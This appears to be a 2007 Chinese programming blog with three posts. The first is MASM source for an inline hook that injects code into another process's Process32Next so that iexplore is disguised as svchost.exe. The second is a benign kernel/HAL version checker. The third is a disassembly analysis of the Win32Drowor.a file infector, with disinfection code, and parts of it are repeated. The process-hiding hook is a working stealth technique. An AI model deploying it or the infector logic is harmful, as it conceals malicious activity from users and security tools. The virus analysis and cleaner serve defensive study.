应用层的InlineHook汇编实现
.586
.model flat,stdcall
option casemap:none
include ../include/windows.inc
include ../include/user32.inc
includelib ../lib/user32.lib
include ../include/kernel32.inc
includelib ../lib/kernel32.lib
include ../include/shell32.inc
includelib ../lib/shell32.lib
.data
kernel32 db 'kernel32.dll',0
P32First db 'Process32Next',0
inline db 'Hook Process32Next Hide Process:)',0
sztext db '.text ',0
VirtualAddress dd 0
JMPCODE db 0E9h,010h,10H,10H,10H,0
JMPCODE2 db 0E9h,010h,10H,10H,10H,0
HookFunBuf db 256 dup (?)
.code
_ProcessPeFile proc _lpPeHead
local @szBuffer[1024]:byte,@szSectionName[16]:byte
mov esi,_lpPeHead
assume esi:ptr IMAGE_DOS_HEADER
add esi,[esi].e_lfanew
mov edi,esi
assume edi:ptr IMAGE_NT_HEADERS
;********************************************************************
; 循环显示每个节区的信息
;********************************************************************
movzx ecx,[edi].FileHeader.NumberOfSections
add edi,sizeof IMAGE_NT_HEADERS
assume edi:ptr IMAGE_SECTION_HEADER
.repeat
push ecx
;********************************************************************
; 节区名称
;********************************************************************
invoke RtlZeroMemory,addr @szSectionName,sizeof @szSectionName
push esi
push edi
mov ecx,8
mov esi,edi
lea edi,@szSectionName
cld
@@:
lodsb
.if ! al
mov al,' '
.endif
stosb
loop @B
pop edi
pop esi
;********************************************************************
invoke lstrcmpi,offset sztext,addr @szSectionName
.if eax == 0
push [edi].VirtualAddress
pop eax
ret
.else
add edi,sizeof IMAGE_SECTION_HEADER
.endif
;********************************************************************
pop ecx
.untilcxz
assume edi:nothing
ret
_ProcessPeFile endp
;得到相应进程的模块加载的起始地址
GetShell32Base proc uses ebx esi edi remoteproid
LOCAL hSnapshot:dword
LOCAL modinfo:MODULEENTRY32
LOCAL modname[256]:byte
mov modinfo.dwSize,sizeof MODULEENTRY32
invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid
mov hSnapshot,eax
invoke Module32First,hSnapshot,addr modinfo
.while eax
lea ecx,modinfo.szModule
invoke lstrcmpi,offset kernel32,ecx
.if eax == 0
mov eax,modinfo.modBaseAddr
ret
.endif
invoke Module32Next,hSnapshot,addr modinfo
.endw
invoke CloseHandle,hSnapshot
ret
GetShell32Base endp
InlineHook proc
LOCAL hProcess:dword
LOCAL hKernel32:dword
LOCAL hAPI:dword
LOCAL PID:dword
LOCAL ModBase:dword
LOCAL OLDpro:dword
LOCAL CodeBuf[128]:byte
LOCAL optable[2048]:byte
LOCAL codelen:dword
LOCAL APIoffset:dword
LOCAL hAPI2:dword
LOCAL pHookFun:dword
LOCAL hooklen1:dword
LOCAL hookfunlen:dword
lea eax,optable
push eax
call disasm_init ;解压缩'指令长度表'
invoke LoadLibrary,offset kernel32 ;得到自身进程DLL的基地址
mov hKernel32,eax
invoke _ProcessPeFile,hKernel32 ;通过分析PE文件得到相应的.text节的虚拟偏移
mov VirtualAddress,eax ;一般为1000h
invoke GetProcAddress,hKernel32,offset P32First ;得到API的入口地址
mov hAPI,eax
mov eax,hKernel32
add eax,VirtualAddress ;得到代码节起始地址
mov ecx,hAPI
sub ecx,eax ;函数入口相对于代码节的偏移
mov APIoffset,ecx
invoke GetCurrentProcessId
mov PID,eax
mov eax,9504
mov PID,eax
invoke GetShell32Base,eax
mov ModBase,eax ;得到目标进程DLL的基地址
add eax,VirtualAddress ;得到目标进程DLL的代码节基地址
add eax,APIoffset ;得到目标进程被HOOK的函数的入口地址
mov hAPI2,eax
invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,PID
mov hProcess,eax
invoke ReadProcessMemory,hProcess,hAPI2,addr CodeBuf,128,0
lea esi,CodeBuf
xor edi,edi
@@nextcode:
push esi
lea eax,optable
push eax
call disasm_main
.if eax !=-1
add edi,eax
.if edi>=5
mov codelen,edi ;codelne记录应该COPY的代码字节数
jmp @@findok
.else
add esi,eax
jmp @@nextcode
.endif
.else
xor eax,eax
ret
.endif
@@findok:
;写HOOK函数到目标进程DLL的空闲空间中
mov eax,ModBase
add eax,VirtualAddress
sub eax,512
mov pHookFun,eax
invoke VirtualProtectEx,hProcess,pHookFun,512,PAGE_EXECUTE_READWRITE,addr OLDpro
;计算偏移
mov ecx,@@hookbeg
mov eax,@@fakeret
sub eax,ecx
mov hooklen1,eax
;计算HOOK函数的全部代码长度
mov ecx,@@hookbeg
mov eax,@@hookfunend
sub eax,ecx
mov hookfunlen,eax
;把HOOK函数从代码段移到变量中
mov eax,@@hookbeg
invoke RtlMoveMemory,offset HookFunBuf,eax,hookfunlen
;把HOOK函数从变量中移到目标进程的内存中,这儿只移开头的一部分
invoke WriteProcessMemory,hProcess,pHookFun,offset HookFunBuf,hooklen1,0
;移动被覆盖的原函数代码到目标内存中
mov ecx,pHookFun
add ecx,hooklen1
sub ecx,21
invoke WriteProcessMemory,hProcess,ecx,addr CodeBuf,codelen,0
;跳回原函数
mov ecx,pHookFun
add ecx,hooklen1
mov edx,ecx
sub ecx,5 ;JMP指令的起始地址
mov eax,hAPI2
sub eax,edx
add eax,codelen
mov edx,offset JMPCODE2
inc edx
mov [edx],eax
invoke WriteProcessMemory,hProcess,ecx,offset JMPCODE2,5,0
;移动真正的HOOK功能代码到目标内存中
mov ecx,pHookFun
add ecx,hooklen1
mov eax,offset HookFunBuf
add eax,hooklen1
mov edx,hookfunlen
sub edx,hooklen1
invoke WriteProcessMemory,hProcess,ecx,eax,edx,0
;设置跳转指令
mov eax,pHookFun
sub eax,hAPI2
sub eax,5
mov ecx,offset JMPCODE
inc ecx
mov [ecx],eax
invoke VirtualProtectEx,hProcess,hAPI2,codelen,PAGE_READWRITE,addr OLDpro
invoke WriteProcessMemory,hProcess,hAPI2,offset JMPCODE,5,0
invoke VirtualProtectEx,hProcess,hAPI2,codelen,OLDpro,addr OLDpro
invoke CloseHandle,hProcess
invoke MessageBox,0,offset inline,offset inline,1
ret
InlineHook endp
@@hookbeg:
push [esp+8] ;ARG2 有几个参数就ESP加几
push [esp+8] ;ARG1
jmp @@fakeret
@@setret:
somenop1 db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h ;这儿填被JMP覆盖的指令
somenop2 db 90h,90h,90h,90h,90h ;填跳回原函数的JMP指令
@@fakeret:
call @@setret
;检查原函数的参数,判断是否改变原函数的执行结果,这时EAX为函数返回值注意保存
sub esp,8
pushad
mov edx,[esp+4+32];原函数倒数第2个参数,进程信息结构的地址
.if eax != ERROR_NO_MORE_FILES
add edx,36
mov eax,[edx]
mov ecx,[edx+4]
.if (eax == 'pxei')&&( ecx == 'erol') ;把iexplorer换为svchost.exe
mov eax,'hcvs'
mov [edx],eax
mov eax,'.tso'
mov [edx+4],eax
mov eax,' exe'
mov [edx+8],eax
.endif
.endif
popad
add esp,8
;跳回正常的返回地址
ret 8 ;参数个数*4
@@hookfunend:
start:
invoke MessageBoxA,0,offset inline,offset inline,1
invoke InlineHook
invoke ExitProcess,0
include \masm32\include\lde32bin.inc
end start
2007年6月8日星期五
2007年5月3日星期四
看过《windows internals》前两章 作了个小程序
/*===================================================================
* Filename CheckKernel.c
*
* Author: kcrazy
* Email: thekcrazy@gmail.com
*
* Description: 检查Windows所使用的内核及HAL的原始版本
*
* Date: 2007-4-27 Original from kcrazy
*
* Version: 1.0
==================================================================*/
#include
#include
#include
#pragma comment (lib, "Version.lib")
DWORD IsPAE( VOID );
BOOL GetFileInfo( LPWSTR lpFileName, LPWSTR Info, LPWSTR Buf, UINT Len );
int main( int argc,char *argv[] )
{
DWORD pae;
WCHAR StrBuffer[255] = {0};
/* 判断是否启用PAE */
pae = IsPAE();
/* 获取执行体和内核的原始文件 */
if (pae == 0)
{
GetFileInfo( L"ntoskrnl.exe", L"\\OriginalFilename", StrBuffer, sizeof(WCHAR) * 255 );
}
else if (pae == 1)
{
GetFileInfo( L"ntkrnlpa.exe", L"\\OriginalFilename", StrBuffer, sizeof(WCHAR) * 255 );
}
else
{
printf( "UnKnow Error!\n" );
return 0;
}
printf( "Original Kernel File:\t%S\t", StrBuffer );
if (wcscmp( StrBuffer, L"ntoskrnl.exe" ) == 0)
{
printf( " - 单CPU的原始执行体和内核\n" );
}
else if (wcscmp( StrBuffer, L"ntkrnlpa.exe" ) == 0)
{
printf( " - 单CPU支持PAE的原始执行体和内核\n" );
}
else if (wcscmp( StrBuffer, L"ntkrnlmp.exe" ) == 0)
{
printf( " - 多CPU的原始执行体和内核\n" );
}
else if (wcscmp( StrBuffer, L"ntkrpamp.exe" ) == 0)
{
printf( " - 多CPU支持PAE的原始执行体和内核\n" );
}
/* 获取内核版本信息 */
GetFileInfo( L"ntkrnlpa.exe", L"\\ProductVersion", StrBuffer, sizeof(WCHAR) * 255 );
printf( "Kernel Version:\t\t%S\n", StrBuffer );
/* 获取HAL原始文件 */
GetFileInfo( L"hal.dll", L"\\OriginalFilename", StrBuffer, sizeof(WCHAR) * 255 );
printf( "Original HAL File:\t%S\t", StrBuffer );
if (wcscmp( StrBuffer, L"hal.dll" ) == 0)
{
printf( " - 标准PC\n" );
}
else if (wcscmp( StrBuffer, L"halacpi.dll" ) == 0)
{
printf( " - 高级配置和电源接口(ACPI) PC\n" );
}
else if (wcscmp( StrBuffer, L"halapic.dll" ) == 0)
{
printf( " - 高级可编程中断控制器(APIC) PC\n" );
}
else if (wcscmp( StrBuffer, L"halaacpi.dll" ) == 0)
{
printf( " - APIC ACPI PC\n" );
}
else if (wcscmp( StrBuffer, L"halmps.dll" ) == 0)
{
printf( " - 多处理器PC\n" );
}
else if (wcscmp( StrBuffer, L"halmacpi.dll" ) == 0)
{
printf( " - 多处理器ACPI PC\n" );
}
else if (wcscmp( StrBuffer, L"halborg.dll" ) == 0)
{
printf( " - Silicon图形工作站\n" );
}
else if (wcscmp( StrBuffer, L"halsp.dll" ) == 0)
{
printf( " - Compaq SystemPro\n" );
}
system( "PAUSE" );
return 0;
}
DWORD IsPAE( VOID )
{
HKEY hKey;
LONG ret;
DWORD Value;
DWORD cbValue;
ret = RegOpenKeyW(
HKEY_LOCAL_MACHINE,
L"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management",
&hKey );
if (ret != ERROR_SUCCESS)
{
return -1;
}
cbValue = sizeof(DWORD);
ret = RegQueryValueExW( hKey, L"PhysicalAddressExtension", NULL, NULL, (LPBYTE)&Value, &cbValue );
if (ret != ERROR_SUCCESS)
{
RegCloseKey( hKey );
return -1;
}
RegCloseKey( hKey );
return Value;
}
BOOL GetFileInfo( LPWSTR lpFileName, LPWSTR Info, LPWSTR Buf, UINT Len )
{
DWORD dwHandle;
DWORD dwSize;
PVOID Buffer;
PVOID lpData;
UINT cbTranslate;
UINT index;
WCHAR SubBlock[255];
struct LANGANDCODEPAGE
{
WORD wLanguage;
WORD wCodePage;
} *lpTranslate;
dwSize = GetFileVersionInfoSizeW( lpFileName, &dwHandle );
if (dwSize == 0)
{
dwSize = GetLastError();
return FALSE;
}
Buffer = malloc( dwSize );
if (Buffer == NULL)
{
return FALSE;
}
memset( Buffer, 0, dwSize );
if (!GetFileVersionInfoW( lpFileName, 0, dwSize, Buffer ))
{
free( Buffer );
return FALSE;
}
if (!VerQueryValueW( Buffer, L"\\VarFileInfo\\Translation", &lpTranslate, &cbTranslate ))
{
free( Buffer );
return FALSE;
}
for (index = 0; index < (cbTranslate / sizeof(struct LANGANDCODEPAGE)); index++)
{
memset( SubBlock, 0, sizeof(WCHAR) * 255 );
swprintf(
SubBlock,
L"\\StringFileInfo\\%04x%04x%s",
lpTranslate[index].wLanguage,
lpTranslate[index].wCodePage,
Info );
}
VerQueryValueW( Buffer, SubBlock, &lpData, &Len );
memset( Buf, 0, Len );
wcscpy( Buf, lpData );
free( Buffer );
return TRUE;
}
* Filename CheckKernel.c
*
* Author: kcrazy
* Email: thekcrazy@gmail.com
*
* Description: 检查Windows所使用的内核及HAL的原始版本
*
* Date: 2007-4-27 Original from kcrazy
*
* Version: 1.0
==================================================================*/
#include
#include
#include
#pragma comment (lib, "Version.lib")
DWORD IsPAE( VOID );
BOOL GetFileInfo( LPWSTR lpFileName, LPWSTR Info, LPWSTR Buf, UINT Len );
int main( int argc,char *argv[] )
{
DWORD pae;
WCHAR StrBuffer[255] = {0};
/* 判断是否启用PAE */
pae = IsPAE();
/* 获取执行体和内核的原始文件 */
if (pae == 0)
{
GetFileInfo( L"ntoskrnl.exe", L"\\OriginalFilename", StrBuffer, sizeof(WCHAR) * 255 );
}
else if (pae == 1)
{
GetFileInfo( L"ntkrnlpa.exe", L"\\OriginalFilename", StrBuffer, sizeof(WCHAR) * 255 );
}
else
{
printf( "UnKnow Error!\n" );
return 0;
}
printf( "Original Kernel File:\t%S\t", StrBuffer );
if (wcscmp( StrBuffer, L"ntoskrnl.exe" ) == 0)
{
printf( " - 单CPU的原始执行体和内核\n" );
}
else if (wcscmp( StrBuffer, L"ntkrnlpa.exe" ) == 0)
{
printf( " - 单CPU支持PAE的原始执行体和内核\n" );
}
else if (wcscmp( StrBuffer, L"ntkrnlmp.exe" ) == 0)
{
printf( " - 多CPU的原始执行体和内核\n" );
}
else if (wcscmp( StrBuffer, L"ntkrpamp.exe" ) == 0)
{
printf( " - 多CPU支持PAE的原始执行体和内核\n" );
}
/* 获取内核版本信息 */
GetFileInfo( L"ntkrnlpa.exe", L"\\ProductVersion", StrBuffer, sizeof(WCHAR) * 255 );
printf( "Kernel Version:\t\t%S\n", StrBuffer );
/* 获取HAL原始文件 */
GetFileInfo( L"hal.dll", L"\\OriginalFilename", StrBuffer, sizeof(WCHAR) * 255 );
printf( "Original HAL File:\t%S\t", StrBuffer );
if (wcscmp( StrBuffer, L"hal.dll" ) == 0)
{
printf( " - 标准PC\n" );
}
else if (wcscmp( StrBuffer, L"halacpi.dll" ) == 0)
{
printf( " - 高级配置和电源接口(ACPI) PC\n" );
}
else if (wcscmp( StrBuffer, L"halapic.dll" ) == 0)
{
printf( " - 高级可编程中断控制器(APIC) PC\n" );
}
else if (wcscmp( StrBuffer, L"halaacpi.dll" ) == 0)
{
printf( " - APIC ACPI PC\n" );
}
else if (wcscmp( StrBuffer, L"halmps.dll" ) == 0)
{
printf( " - 多处理器PC\n" );
}
else if (wcscmp( StrBuffer, L"halmacpi.dll" ) == 0)
{
printf( " - 多处理器ACPI PC\n" );
}
else if (wcscmp( StrBuffer, L"halborg.dll" ) == 0)
{
printf( " - Silicon图形工作站\n" );
}
else if (wcscmp( StrBuffer, L"halsp.dll" ) == 0)
{
printf( " - Compaq SystemPro\n" );
}
system( "PAUSE" );
return 0;
}
DWORD IsPAE( VOID )
{
HKEY hKey;
LONG ret;
DWORD Value;
DWORD cbValue;
ret = RegOpenKeyW(
HKEY_LOCAL_MACHINE,
L"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management",
&hKey );
if (ret != ERROR_SUCCESS)
{
return -1;
}
cbValue = sizeof(DWORD);
ret = RegQueryValueExW( hKey, L"PhysicalAddressExtension", NULL, NULL, (LPBYTE)&Value, &cbValue );
if (ret != ERROR_SUCCESS)
{
RegCloseKey( hKey );
return -1;
}
RegCloseKey( hKey );
return Value;
}
BOOL GetFileInfo( LPWSTR lpFileName, LPWSTR Info, LPWSTR Buf, UINT Len )
{
DWORD dwHandle;
DWORD dwSize;
PVOID Buffer;
PVOID lpData;
UINT cbTranslate;
UINT index;
WCHAR SubBlock[255];
struct LANGANDCODEPAGE
{
WORD wLanguage;
WORD wCodePage;
} *lpTranslate;
dwSize = GetFileVersionInfoSizeW( lpFileName, &dwHandle );
if (dwSize == 0)
{
dwSize = GetLastError();
return FALSE;
}
Buffer = malloc( dwSize );
if (Buffer == NULL)
{
return FALSE;
}
memset( Buffer, 0, dwSize );
if (!GetFileVersionInfoW( lpFileName, 0, dwSize, Buffer ))
{
free( Buffer );
return FALSE;
}
if (!VerQueryValueW( Buffer, L"\\VarFileInfo\\Translation", &lpTranslate, &cbTranslate ))
{
free( Buffer );
return FALSE;
}
for (index = 0; index < (cbTranslate / sizeof(struct LANGANDCODEPAGE)); index++)
{
memset( SubBlock, 0, sizeof(WCHAR) * 255 );
swprintf(
SubBlock,
L"\\StringFileInfo\\%04x%04x%s",
lpTranslate[index].wLanguage,
lpTranslate[index].wCodePage,
Info );
}
VerQueryValueW( Buffer, SubBlock, &lpData, &Len );
memset( Buf, 0, Len );
wcscpy( Buf, lpData );
free( Buffer );
return TRUE;
}
2007年4月21日星期六
Win32Drowor.a的分析过程和清除手段
************************************************************************************
以下为分析过程
************************************************************************************
00436716 > 55 PUSH EBP
00436717 8BEC MOV EBP,ESP
00436719 83C4 D0 ADD ESP,-30
0043671C 53 PUSH EBX
0043671D 56 PUSH ESI
0043671E 57 PUSH EDI
0043671F 8D75 FC LEA ESI,DWORD PTR SS:[EBP-4]
00436722 8B4424 30 MOV EAX,DWORD PTR SS:[ESP+30]
00436726 25 0000FFFF AND EAX,FFFF0000
////以下逐页比较验证,找到Kernel32的基地址
0043672B 8138 4D5A9000 CMP DWORD PTR DS:[EAX],905A4D
00436731 74 07 JE SHORT v.0043673A
00436733 2D 00100000 SUB EAX,1000
00436738 ^ EB F1 JMP SHORT v.0043672B
0043673A 8945 FC MOV DWORD PTR SS:[EBP-4],EAX
0043673D E8 C8FFFFFF CALL v.0043670A
////EAX中是内存中整个PE映像大小+建议装入地址,减去770A得到新节的起始地址
00436742 2D 0A770000 SUB EAX,770A
//// 定位到PE头
00436747 8945 F4 MOV DWORD PTR SS:[EBP-C],EAX
0043674A 8B06 MOV EAX,DWORD PTR DS:[ESI]
0043674C 8B40 3C MOV EAX,DWORD PTR DS:[EAX+3C]
0043674F 0306 ADD EAX,DWORD PTR DS:[ESI]
////定位到数据目录表也就是得到导出表的地址
00436751 8B40 78 MOV EAX,DWORD PTR DS:[EAX+78]
00436754 0306 ADD EAX,DWORD PTR DS:[ESI]
00436756 8BC8 MOV ECX,EAX
////取出AddressOfName
00436758 8B51 20 MOV EDX,DWORD PTR DS:[ECX+20]
0043675B 0316 ADD EDX,DWORD PTR DS:[ESI]
////取出AdressOfNameOrdinals
0043675D 8B59 24 MOV EBX,DWORD PTR DS:[ECX+24]
00436760 031E ADD EBX,DWORD PTR DS:[ESI]
00436762 895D F0 MOV DWORD PTR SS:[EBP-10],EBX
////取出AddressOfFuctions
00436765 8B59 1C MOV EBX,DWORD PTR DS:[ECX+1C]
00436768 031E ADD EBX,DWORD PTR DS:[ESI]
////取出NumberOfName
0043676A 895D EC MOV DWORD PTR SS:[EBP-14],EBX
0043676D 8B41 18 MOV EAX,DWORD PTR DS:[ECX+18]
////以NumberOfName的值做循环,查找想要的到函数入口地址
00436770 8BC8 MOV ECX,EAX
00436772 49 DEC ECX
00436773 85C9 TEST ECX,ECX
00436775 72 5A JB SHORT v.004367D1
00436777 41 INC ECX
00436778 33C0 XOR EAX,EAX
0043677A 8BD8 MOV EBX,EAX
0043677C C1E3 02 SHL EBX,2
0043677F 03DA ADD EBX,EDX
00436781 8B3B MOV EDI,DWORD PTR DS:[EBX]
00436783 033E ADD EDI,DWORD PTR DS:[ESI]
00436785 813F 47657450 CMP DWORD PTR DS:[EDI],50746547
0043678B 75 40 JNZ SHORT v.004367CD
0043678D 8BDF MOV EBX,EDI
0043678F 83C3 04 ADD EBX,4
00436792 813B 726F6341 CMP DWORD PTR DS:[EBX],41636F72
00436798 75 33 JNZ SHORT v.004367CD
0043679A 8BDF MOV EBX,EDI
0043679C 83C3 08 ADD EBX,8
0043679F 813B 64647265 CMP DWORD PTR DS:[EBX],65726464
004367A5 75 26 JNZ SHORT v.004367CD
004367A7 83C7 0C ADD EDI,0C
004367AA 66:813F 7373 CMP WORD PTR DS:[EDI],7373
004367AF 75 1C JNZ SHORT v.004367CD
004367B1 8BD0 MOV EDX,EAX
004367B3 03D2 ADD EDX,EDX
004367B5 0355 F0 ADD EDX,DWORD PTR SS:[EBP-10]
004367B8 0FB712 MOVZX EDX,WORD PTR DS:[EDX]
004367BB C1E2 02 SHL EDX,2
004367BE 0355 EC ADD EDX,DWORD PTR SS:[EBP-14]
004367C1 8B12 MOV EDX,DWORD PTR DS:[EDX]
004367C3 0316 ADD EDX,DWORD PTR DS:[ESI]
004367C5 8B4D F4 MOV ECX,DWORD PTR SS:[EBP-C]
004367C8 8951 04 MOV DWORD PTR DS:[ECX+4],EDX
004367CB EB 04 JMP SHORT v.004367D1
004367CD 40 INC EAX
004367CE 49 DEC ECX
004367CF ^ 75 A9 JNZ SHORT v.0043677A
////以上循环查找函数入口结束
////以下分别获得LoadLibraryA、FreeLibrary、ExitProcess、GetModuleHandleA、User32.DLL、GetMessageA、TranslateMessage、DispathMessageA、WinExec、CreateFileA、WriteFile、CloseHandle的函数地址
004367D1 8B5D F4 MOV EBX,DWORD PTR SS:[EBP-C]
004367D4 8D43 3B LEA EAX,DWORD PTR DS:[EBX+3B]
004367D7 50 PUSH EAX
004367D8 8B06 MOV EAX,DWORD PTR DS:[ESI]
004367DA 50 PUSH EAX
004367DB FF53 04 CALL DWORD PTR DS:[EBX+4]
004367DE 8943 08 MOV DWORD PTR DS:[EBX+8],EAX
004367E1 8D43 48 LEA EAX,DWORD PTR DS:[EBX+48]
004367E4 50 PUSH EAX
004367E5 8B06 MOV EAX,DWORD PTR DS:[ESI]
004367E7 50 PUSH EAX
004367E8 FF53 04 CALL DWORD PTR DS:[EBX+4]
004367EB 8943 0C MOV DWORD PTR DS:[EBX+C],EAX
004367EE 8D43 54 LEA EAX,DWORD PTR DS:[EBX+54]
004367F1 50 PUSH EAX
004367F2 8B06 MOV EAX,DWORD PTR DS:[ESI]
004367F4 50 PUSH EAX
004367F5 FF53 04 CALL DWORD PTR DS:[EBX+4]
004367F8 8943 10 MOV DWORD PTR DS:[EBX+10],EAX
004367FB 8D43 60 LEA EAX,DWORD PTR DS:[EBX+60]
004367FE 50 PUSH EAX
004367FF 8B06 MOV EAX,DWORD PTR DS:[ESI]
00436801 50 PUSH EAX
00436802 FF53 04 CALL DWORD PTR DS:[EBX+4]
00436805 8943 18 MOV DWORD PTR DS:[EBX+18],EAX
00436808 8D43 34 LEA EAX,DWORD PTR DS:[EBX+34]
0043680B 50 PUSH EAX
0043680C FF53 08 CALL DWORD PTR DS:[EBX+8]
0043680F 8BF8 MOV EDI,EAX
00436811 893B MOV DWORD PTR DS:[EBX],EDI
00436813 8D43 71 LEA EAX,DWORD PTR DS:[EBX+71]
00436816 50 PUSH EAX
00436817 57 PUSH EDI
00436818 FF53 04 CALL DWORD PTR DS:[EBX+4]
0043681B 8943 1C MOV DWORD PTR DS:[EBX+1C],EAX
0043681E 8D43 7D LEA EAX,DWORD PTR DS:[EBX+7D]
00436821 50 PUSH EAX
00436822 8B03 MOV EAX,DWORD PTR DS:[EBX]
00436824 50 PUSH EAX
00436825 FF53 04 CALL DWORD PTR DS:[EBX+4]
00436828 8943 20 MOV DWORD PTR DS:[EBX+20],EAX
0043682B 8D83 8E000000 LEA EAX,DWORD PTR DS:[EBX+8E]
00436831 50 PUSH EAX
00436832 8B03 MOV EAX,DWORD PTR DS:[EBX]
00436834 50 PUSH EAX
00436835 FF53 04 CALL DWORD PTR DS:[EBX+4]
00436838 8943 24 MOV DWORD PTR DS:[EBX+24],EAX
0043683B 8D83 9F000000 LEA EAX,DWORD PTR DS:[EBX+9F]
00436841 50 PUSH EAX
00436842 8B06 MOV EAX,DWORD PTR DS:[ESI]
00436844 50 PUSH EAX
00436845 FF53 04 CALL DWORD PTR DS:[EBX+4]
00436848 8943 14 MOV DWORD PTR DS:[EBX+14],EAX
0043684B 8D83 A7010000 LEA EAX,DWORD PTR DS:[EBX+1A7]
00436851 50 PUSH EAX
00436852 8B06 MOV EAX,DWORD PTR DS:[ESI]
00436854 50 PUSH EAX
00436855 FF53 04 CALL DWORD PTR DS:[EBX+4]
00436858 8943 28 MOV DWORD PTR DS:[EBX+28],EAX
0043685B 8D83 B3010000 LEA EAX,DWORD PTR DS:[EBX+1B3]
00436861 50 PUSH EAX
00436862 8B06 MOV EAX,DWORD PTR DS:[ESI]
00436864 50 PUSH EAX
00436865 FF53 04 CALL DWORD PTR DS:[EBX+4]
00436868 8943 2C MOV DWORD PTR DS:[EBX+2C],EAX
0043686B 8D83 BD010000 LEA EAX,DWORD PTR DS:[EBX+1BD]
00436871 50 PUSH EAX
00436872 8B06 MOV EAX,DWORD PTR DS:[ESI]
00436874 50 PUSH EAX
00436875 FF53 04 CALL DWORD PTR DS:[EBX+4]
////调用CreateFileA函数,创建新文件文件C:\_.de,属性可读可写
00436878 8943 30 MOV DWORD PTR DS:[EBX+30],EAX
0043687B 6A 00 PUSH 0
0043687D 6A 00 PUSH 0
0043687F 6A 02 PUSH 2
00436881 6A 00 PUSH 0
00436883 6A 01 PUSH 1
00436885 68 000000C0 PUSH C0000000
0043688A 8D83 A7000000 LEA EAX,DWORD PTR DS:[EBX+A7]
00436890 50 PUSH EAX
00436891 FF53 28 CALL DWORD PTR DS:[EBX+28]
////调用WriteFile函数,将缓冲区数据写入文件,需要写入7531字节,并在0x4366FE处返回成功写入的字节数
00436894 8BF0 MOV ESI,EAX
00436896 89B3 FA760000 MOV DWORD PTR DS:[EBX+76FA],ESI
0043689C 6A 00 PUSH 0
0043689E 8D83 FE760000 LEA EAX,DWORD PTR DS:[EBX+76FE]
004368A4 50 PUSH EAX
004368A5 68 31750000 PUSH 7531
004368AA 8D83 C9010000 LEA EAX,DWORD PTR DS:[EBX+1C9]
004368B0 50 PUSH EAX
004368B1 56 PUSH ESI
004368B2 FF53 2C CALL DWORD PTR DS:[EBX+2C]
////关闭文件
004368B5 8B83 FA760000 MOV EAX,DWORD PTR DS:[EBX+76FA]
004368BB 50 PUSH EAX
004368BC FF53 30 CALL DWORD PTR DS:[EBX+30]
////运行指定文件C:\_.de
004368BF 6A 01 PUSH 1
004368C1 8D83 A7000000 LEA EAX,DWORD PTR DS:[EBX+A7]
004368C7 50 PUSH EAX
004368C8 FF53 14 CALL DWORD PTR DS:[EBX+14]
////跳回AddressOfEntryPoint字段指向的地址继续运行宿主程序
004368CB 8B83 02770000 MOV EAX,DWORD PTR DS:[EBX+7702]
004368D1 0383 06770000 ADD EAX,DWORD PTR DS:[EBX+7706]
004368D7 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX
004368DA 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]
004368DD FFE0 JMP EAX
****************************************************************************************
下边为清除病毒的代码
****************************************************************************************
//Coded by Santiago
#include
#include
int main(int argc, char *argv[])
{
HANDLE hFile ;
HANDLE hMapping ;
LPVOID lpMapping ;
DWORD dwNumberOfSections ;
PIMAGE_DOS_HEADER pDos_Header ;
PIMAGE_NT_HEADERS32 pNT_Headers ;
PIMAGE_SECTION_HEADER pISHeader ;
hFile = CreateFile(
argv[1],
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_WRITE,
0,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0
) ;
if(!hFile)
{
printf("Can not open the file!\n") ;
return -1 ;
}
hMapping = CreateFileMapping(
hFile,
NULL,
PAGE_READWRITE,
0,0,NULL
) ;
if(!hMapping)
{
printf("can not open the file mapping!\n") ;
CloseHandle(hFile) ;
return -1 ;
}
lpMapping = MapViewOfFile(
hMapping,
FILE_MAP_READ | FILE_MAP_WRITE,
0,0,0
) ;
if(!lpMapping)
{
printf("can not map a view of a file!\n") ;
CloseHandle(hMapping) ;
CloseHandle(hFile) ;
return -1 ;
}
//分别得到文件头和PE头的起始地址
pDos_Header = (PIMAGE_DOS_HEADER) lpMapping ;
pNT_Headers = (PIMAGE_NT_HEADERS32)((DWORD)lpMapping + pDos_Header->e_lfanew) ;
//还原宿主入口地址和内存中整个PE映像大小
pNT_Headers->OptionalHeader.AddressOfEntryPoint = 0x10AA8 ;
pNT_Headers->OptionalHeader.SizeOfImage = 0x2f000 ;
//清除病毒体,还原宿主长度
SetFilePointer(hFile, 0x2afff, NULL, FILE_BEGIN) ;
SetEndOfFile(hFile) ;
//修复节数量
dwNumberOfSections = pNT_Headers->FileHeader.NumberOfSections ;
dwNumberOfSections-- ;
pNT_Headers->FileHeader.NumberOfSections = dwNumberOfSections ;
UnmapViewOfFile(lpMapping) ;
CloseHandle(hMapping) ;
CloseHandle(hFile) ;
return 0 ;
}
以下为分析过程
************************************************************************************
00436716 > 55 PUSH EBP
00436717 8BEC MOV EBP,ESP
00436719 83C4 D0 ADD ESP,-30
0043671C 53 PUSH EBX
0043671D 56 PUSH ESI
0043671E 57 PUSH EDI
0043671F 8D75 FC LEA ESI,DWORD PTR SS:[EBP-4]
00436722 8B4424 30 MOV EAX,DWORD PTR SS:[ESP+30]
00436726 25 0000FFFF AND EAX,FFFF0000
////以下逐页比较验证,找到Kernel32的基地址
0043672B 8138 4D5A9000 CMP DWORD PTR DS:[EAX],905A4D
00436731 74 07 JE SHORT v.0043673A
00436733 2D 00100000 SUB EAX,1000
00436738 ^ EB F1 JMP SHORT v.0043672B
0043673A 8945 FC MOV DWORD PTR SS:[EBP-4],EAX
0043673D E8 C8FFFFFF CALL v.0043670A
////EAX中是内存中整个PE映像大小+建议装入地址,减去770A得到新节的起始地址
00436742 2D 0A770000 SUB EAX,770A
//// 定位到PE头
00436747 8945 F4 MOV DWORD PTR SS:[EBP-C],EAX
0043674A 8B06 MOV EAX,DWORD PTR DS:[ESI]
0043674C 8B40 3C MOV EAX,DWORD PTR DS:[EAX+3C]
0043674F 0306 ADD EAX,DWORD PTR DS:[ESI]
////定位到数据目录表也就是得到导出表的地址
00436751 8B40 78 MOV EAX,DWORD PTR DS:[EAX+78]
00436754 0306 ADD EAX,DWORD PTR DS:[ESI]
00436756 8BC8 MOV ECX,EAX
////取出AddressOfName
